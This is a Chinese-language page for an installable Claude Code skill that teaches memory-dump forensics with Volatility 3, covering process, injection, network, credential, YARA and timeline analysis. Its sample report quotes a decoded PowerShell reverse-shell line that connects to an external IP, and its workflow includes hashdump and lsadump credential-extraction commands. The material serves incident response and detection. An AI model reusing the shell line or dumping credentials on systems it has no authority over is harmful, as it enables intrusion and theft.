关于 analyzing-memory-dumps-with-volatility
这是一项使用 Volatility 3 检查内存转储的取证技能,面向事件响应和恶意软件分析人员。内容涵盖进程、代码注入、网络连接、凭据及时间线分析,不用于磁盘镜像取证。
主要功能
- 01识别转储系统与符号
- 02检查进程及隐藏条目
- 03检测代码注入
- 04查看网络连接
- 05提取内存工件和凭据
- 06使用 YARA 扫描并生成时间线
适用场景
- 01告警后调查无文件恶意软件
- 02检查进程注入或 Rootkit
- 03从内存恢复凭据和配置
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill analyzing-memory-dumps-with-volatility安装后在 Claude Code 中输入/analyzing-memory-dumps-with-volatility确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
使用 Volatility 分析内存转储
适用场景
- 已捕获遭入侵系统的 RAM,需要对其进行取证分析以查找恶意软件痕迹
- 检测仅存在于内存中、没有持久化磁盘痕迹的无文件恶意软件
- 从进程内存中提取加密密钥、密码或已解密的配置
- 识别遭入侵系统中的进程注入、DLL 注入或进程空洞化
- 分析标准磁盘取证工具无法发现的 Rootkit 活动
请勿用于磁盘映像分析;磁盘取证请使用 Autopsy、FTK 或 Sleuth Kit。
前提条件
- 已安装 Volatility 3(
pip install volatility3),并准备好目标操作系统的符号表 - 已获取目标系统的内存转储文件(使用 WinPmem、LiME 或 DumpIt)
- 了解源操作系统版本,以便正确选择配置文件或符号
- 有足够的磁盘空间(内存转储可能为 4-64 GB)
- 用于扫描内存中已知恶意软件特征的 YARA 规则
- 用于从内存区域提取可读字符串的 Strings 工具
工作流
步骤 1:识别内存转储配置
根据内存转储确定操作系统及其版本:
# Volatility 3: Automatic OS detection
vol3 -f memory.dmp windows.info
# List available plugins
vol3 -f memory.dmp --help
# If symbols are needed, download from:
# https://downloads.volatilityfoundation.org/volatility3/symbols/
# For Volatility 2 (legacy):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan
步骤 2:枚举运行中的进程
列出所有进程并识别可疑条目:
# List all processes
vol3 -f memory.dmp windows.pslist
# Process tree (parent-child relationships)
vol3 -f memory.dmp windows.pstree
# Scan for hidden/unlinked processes (rootkit detection)
vol3 -f memory.dmp windows.psscan
# Compare pslist vs psscan to find hidden processes
# Processes in psscan but not pslist are potentially hidden by rootkits
# Check for process hollowing
vol3 -f memory.dmp windows.pslist --dump
# Then verify the dumped EXE matches the expected binary on disk
Suspicious Process Indicators:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe not spawned by services.exe (wrong parent)
- csrss.exe/lsass.exe with unusual parent process
- Multiple instances of lsass.exe (should be only one)
- Processes with misspelled names (scvhost.exe, lssas.exe)
- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser
- Processes running from unusual paths (%TEMP%, %APPDATA%)
- Processes with no parent (orphaned - parent terminated)
步骤 3:检测恶意代码注入
扫描注入的代码和进程空洞化:
# Detect injected code in processes (malfind)
vol3 -f memory.dmp windows.malfind
# Malfind looks for:
# - Memory regions with PAGE_EXECUTE_READWRITE protection
# - Memory regions containing PE headers (MZ/PE signature)
# - VAD (Virtual Address Descriptor) anomalies
# Dump injected memory regions for analysis
vol3 -f memory.dmp windows.malfind --dump --pid 2184
# List loaded DLLs per process
vol3 -f memory.dmp windows.dlllist --pid 2184
# Detect hollowed processes by comparing mapped image to disk
vol3 -f memory.dmp windows.hollowfind
# Scan for loaded drivers (potential rootkit drivers)
vol3 -f memory.dmp windows.driverscan
# List kernel modules
vol3 -f memory.dmp windows.modules
步骤 4:分析网络连接
提取活动和已关闭的网络连接:
# List all network connections (active and listening)
vol3 -f memory.dmp windows.netscan
# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner
# Filter for established connections to external IPs
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED
# For older Windows (XP/2003):
vol3 -f memory.dmp windows.netstat
# Cross-reference PIDs with process list
# Suspicious: svchost.exe connected to external IP on non-standard port
# Suspicious: notepad.exe or calc.exe with network connections
步骤 5:提取痕迹和凭据
从内存中恢复敏感数据:
# Dump process memory for a specific PID
vol3 -f memory.dmp windows.memmap --dump --pid 2184
# Extract command-line history
vol3 -f memory.dmp windows.cmdline
# Extract environment variables
vol3 -f memory.dmp windows.envars --pid 2184
# Registry analysis (extract Run keys for persistence)
vol3 -f memory.dmp windows.registry.printkey \
--key "Software\Microsoft\Windows\CurrentVersion\Run"
# Extract hashed/cached credentials
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump
# Extract clipboard contents
vol3 -f memory.dmp windows.clipboard
# File extraction from memory
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560
步骤 6:使用 YARA 规则扫描内存
应用 YARA 特征码,在内存中检测已知恶意软件:
# Scan entire memory dump with YARA rules
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar
# Scan specific process memory
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184
# Built-in YARA scan for common patterns
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"
# Scan for encryption key material
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"
步骤 7:生成时间线和报告
创建分析时间线并汇总调查结果:
# Generate comprehensive timeline
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
# Timeline includes:
# - Process creation/exit times
# - Network connection timestamps
# - Registry modification times
# - File access times
# Export process list for reporting
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
# Export network connections
vol3 -f memory.dmp windows.netscan --output csv > network.csv
核心概念
| 术语 | 定义 |
|---|---|
| 内存取证 | 分析易失性内存(RAM)内容,以识别运行中的进程、网络连接和可能不存在于磁盘上的内存痕迹 |
| 进程空洞化 | 一种恶意软件技术:创建处于挂起状态的合法进程,用恶意代码替换其内存,然后恢复执行 |
| Malfind | Volatility 插件,通过识别非映像 VAD 中具有可执行权限且包含 PE 标头的内存区域来检测注入代码 |
| VAD(虚拟地址描述符) | Windows 内核结构,用于跟踪分配给进程的内存区域;VAD 中的异常表明存在注入或空洞化 |
| EPROCESS | 表示进程的 Windows 内核结构;Rootkit 会取消 EPROCESS 条目的链接,以使进程无法被标准工具发现 |
| 池标记扫描 | 一种内存取证技术,通过扫描内核对象池标记,即使对象(进程、文件、连接)的链接已被移除,也能找到这些对象 |
| 无文件恶意软件 | 完全在内存中运行、不在磁盘上创建文件的恶意软件;只能通过内存取证检测 |
工具和系统
- Volatility 3:开源内存取证框架,支持 Windows、Linux 和 macOS 内存分析,并采用插件架构
- WinPmem:适用于 Windows 系统的内存获取工具,可创建用于离线分析的原始内存转储
- LiME(Linux Memory Extractor):用于捕获 Linux 系统内存转储的可加载内核模块
- Rekall:另一款内存取证框架,具备一些独特的分析功能(已停止维护,但仍有用)
- MemProcFS:一种内存进程文件系统,可将内存转储挂载为文件系统,以便直观地进行分析
常见场景
场景:EDR 告警后检测无文件恶意软件
背景:EDR 检测到可疑的 PowerShell 活动,但威胁行为者清除了磁盘上的痕迹。在系统重启前捕获了内存转储。分析需要识别恶意软件、其持久化机制以及任何横向移动行为。
方法:
- 运行
windows.pstree,识别进程链(哪个进程启动了 PowerShell) - 运行
windows.malfind,检测正在运行的进程中的注入代码 - 转储可疑进程的内存,并提取字符串以查找 C2 URL
- 运行
windows.netscan,识别受感染进程的网络连接 - 运行
windows.cmdline,查看 PowerShell 执行的命令 - 使用 YARA 规则扫描转储的进程内存,查找已知恶意软件家族
- 使用
hashdump和lsadump提取凭据,评估横向移动风险
注意事项:
- 为操作系统版本使用了错误的符号表(会导致插件运行失败或结果不准确)
- 未对比
pslist与psscan的输出(可能遗漏被 Rootkit 隐藏的进程) - 忽略被注入代码的合法进程(应关注 malfind 结果,而不只是进程名称)
- 得出分析结论前未提取完整的进程内存(进程转储中的字符串可能会揭示其他 IOC)
输出格式
MEMORY FORENSICS ANALYSIS REPORT
===================================
Dump File: memory.dmp
Dump Size: 16 GB
OS Version: Windows 10 21H2 (Build 19044)
Capture Tool: WinPmem 4.0
Capture Time: 2025-09-15 14:35:00 UTC
SUSPICIOUS PROCESSES
PID PPID Name Path Anomaly
2184 1052 svchost.exe C:\Users\Admin\AppData\Temp\svchost.exe Wrong path
4012 2184 powershell.exe C:\Windows\System32\powershell.exe Child of fake svchost
3456 4012 cmd.exe C:\Windows\System32\cmd.exe Spawned by PowerShell
CODE INJECTION DETECTED (malfind)
PID 852 (explorer.exe):
Address: 0x00400000 Size: 98304 Protection: PAGE_EXECUTE_READWRITE
Header: MZ (embedded PE detected)
SHA-256 of dump: abc123def456...
NETWORK CONNECTIONS
PID Process Local Foreign State
2184 svchost.exe 10.1.5.42:49152 185.220.101.42:443 ESTABLISHED
4012 powershell.exe 10.1.5.42:49200 91.215.85.17:8080 ESTABLISHED
EXTRACTED CREDENTIALS
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
COMMAND LINE HISTORY
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
Decoded: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)
YARA MATCHES
PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }
TIMELINE
14:10:00 svchost.exe (PID 2184) created from C:\Users\Admin\AppData\Temp\
14:10:05 Network connection to 185.220.101.42:443 established
14:12:30 powershell.exe (PID 4012) spawned by svchost.exe
14:15:00 Code injection into explorer.exe (PID 852) detected
14:20:00 Credential dump from LSASS process
评论
支持 Markdown